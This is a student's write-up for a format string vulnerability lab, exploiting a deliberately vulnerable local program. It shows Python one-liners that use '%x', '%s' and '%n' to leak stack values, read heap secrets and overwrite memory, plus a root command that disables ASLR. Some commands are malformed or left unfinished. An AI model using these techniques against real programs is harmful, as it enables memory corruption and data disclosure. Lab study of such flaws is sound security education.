Format String Vulnerability Lab =============================== http://www.cis.syr.edu/~wedu/seed/Labs\_12.04/Software/Format\_String/ Lab1 ---- Files: - Makefile - vul\_prog.c Summary ~~~~~~~ `vul_prog.c` give a malloced array `secret` and asked you to get the value of `scret[1]` and overwrite it. I can do that when this program compiled as 32 bits but there still some unsolved problems in 64 bit. `vul_prog.c` give us the address of `secret` every times, it means that ASLR is no longer vaild. below is the varibles memory layout of vul\_prog in my machine: :: gcc -m32 -z execstack -fno-stack-protector vul_prog.c -o vul_prog.out sizeof(int) 4 userinput 0xffc6131c secret 0xffc61314 int_input 0xffc61310 a 0xffc6130c b 0xffc61308 c 0xffc61304 d 0xffc6133e The variable secret's address is 0xffc61318 (on stack) The variable secret's value is 0x 804a410 (on heap) secret[0]'s address is 0x 804a410 (on heap) secret[1]'s address is 0x 804a414 (on heap) Please enter a decimal integer ... Please enter a string ... The original secrets: 0x44 -- 0x55 The new secrets: 0x44 -- 0x55 Doubt: I don't know why there are 8 bytes between `user_input` and `int_input` Access varible ~~~~~~~~~~~~~~ :: printf("Please enter a decimal integer\n"); scanf("%d", &int_input); /* getting an input from user */ printf("Please enter a string\n"); scanf("%s", user_input); /* getting a string from user */ /* Vulnerable place */ printf(user_input); printf("\n"); As you see, `printf` print a user-input string without any parameter (IT IS DANGREOUS), we can use it to access varible on stack. first, find the location of `int_input`: :: $ make $ python -c "print('57005'); print('%x-'*20)" | ./vul_prog.out | grep dead ... ffa49ddc-ffa49dc8-ffa49dc4-ffa49dfe-1-c2-f75b21c3-ffa49dfe-dead-804b010-252d7825- ... ^^^^ ^^^^^^^ ... 57005 = 0xdead so we can access `int_input` by input string `'%x'*9`, and `secret` can be accessd by `'%x'*10`. How to get the value of `scret[0]`? :: $ python -c "print('57005'); print('%x-'*9 + '%s')" | ./vul_prog.out ... ffd6f1fc-ffd6f1e8-ffd6f1e4-ffd6f21e-1-c2-f76061c3-ffd6f21e-dead-D ^ ... `hex(ord('D'))` is `0x44`, the vaule of `secret[0]`. How to get the value of `scret[1]`? We can control the value of `int_input`, and we know the address of `secret[1]` (from the output of program), more convience, we can close ASLR so that we don't need to input the variable address everytime. :: $ su -c 'echo 0 > /proc/sys/kernel/randomize_va_space' randomize\_va\_space values 1. Disable ASLR. This setting is applied if the kernel is booted with the norandmaps boot parameter 2. Randomize the positions of the stack, virtual dynamic shared object (VDSO) page, and shared memory regions. The base address of the data segment is located immediately after the end of the executable code segment 3. Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting. Address of `secret[1]` is 0x804a414, converts to decimal is 134521876: :: $ python -c "print('134521876'); print('%x-'*8 + '%s')" | ./vul_prog.out ... ffc6131c-ffc61308-ffc61304-ffc6133e-1-c2-f75921c3-ffc6133e-U ^ ... `hex(ord('U'))` is `0x55`, the vaule of `secret[1]`. Overwrite varible ~~~~~~~~~~~~~~~~~ %n: Nothing printed. The corresponding argument must be a pointer to a signed int. The number of characters written so far is stored in the pointed location. Use `%n` write a vaule to `scret[1]`: :: $ python -c "print('134521876'); print('%x-'*8 + '%n')" | ./vul_prog.out ... ff9efafc-ff9efae8-ff9efae4-ff9efb1e-1-c2-f76671c3-ff9efb1e- The original secrets: 0x44 -- 0x55 The new secrets: 0x44 -- 0x3b ^^^^ `secret[1]` has changed to 0x3b Write a arbitrary (?) value to `scret[1]` (by controlling the length of output string): :: $ python -c "print('134521876'); print('%x-'*8 + '0'*+ '%n')" | ./vul_prog.out ... ff868acc-ff868ab8-ff868ab4-ff868aee-1-c2-f762c1c3-ff868aee-00000000000 ... The original secrets: 0x44 -- 0x55 The new secrets: 0x44 -- 0x233 ^^^^^ [1] 3824 done python -c "print('134521876'); print('%x-'*8 + '0'*504 + '%n')" | 3825 segmentation fault (core dumped) ./vul_prog.out It seem that the value can no smaller then 0x3b, and too large string will causes segmentation fault. (is it right?) 64 bit ~~~~~~ To get a 64bit executable, invoke `make ARCH=64 vul_prog.out` Memory layout: :: sizeof(int *): 8 userinput 0x7fffffffe550 secret 0x7fffffffe548 int_input 0x7fffffffe544 a 0x7fffffffe540 b 0x7fffffffe53c c 0x7fffffffe538 d 0x7fffffffe534 The variable secret's address is 0xffffe548 (on stack) The variable secret's value is 0x 601420 (on heap) secret[0]'s address is 0x 601420 (on heap) secret[1]'s address is 0x 601424 (on heap) NOTE: size of x64 stack cell is 8 byte, sizeof(int) = 4, sizeof(int \*) = 8 :: high low |-----------------------| | secret | |-----------------------| | int_input | a | |-----------------------| | b | c | |-----------------------| | d | | |-----------------------| low Access `secret[0]`: :: $ python -c "print('57005'); print('%016lx-'*10 + '%s')" | ./vul_prog.out ... 0000000000000001-00007ffff7dd5770-000000000000000a-0000000000400a30-0000000000000000-\ 00007fffffffe6a8-0000000100000000-0000000400000000-0000000200000003-0000dead00000001-D ^^^^ ^ ... Overwrite `secret[1]`: // TODO :: python -c "print('57005'); print('\x24\x14\x60\x60\x00'+ '%016lx-' * 12)" | ./vul_prog.out Lab2 ---- // TODO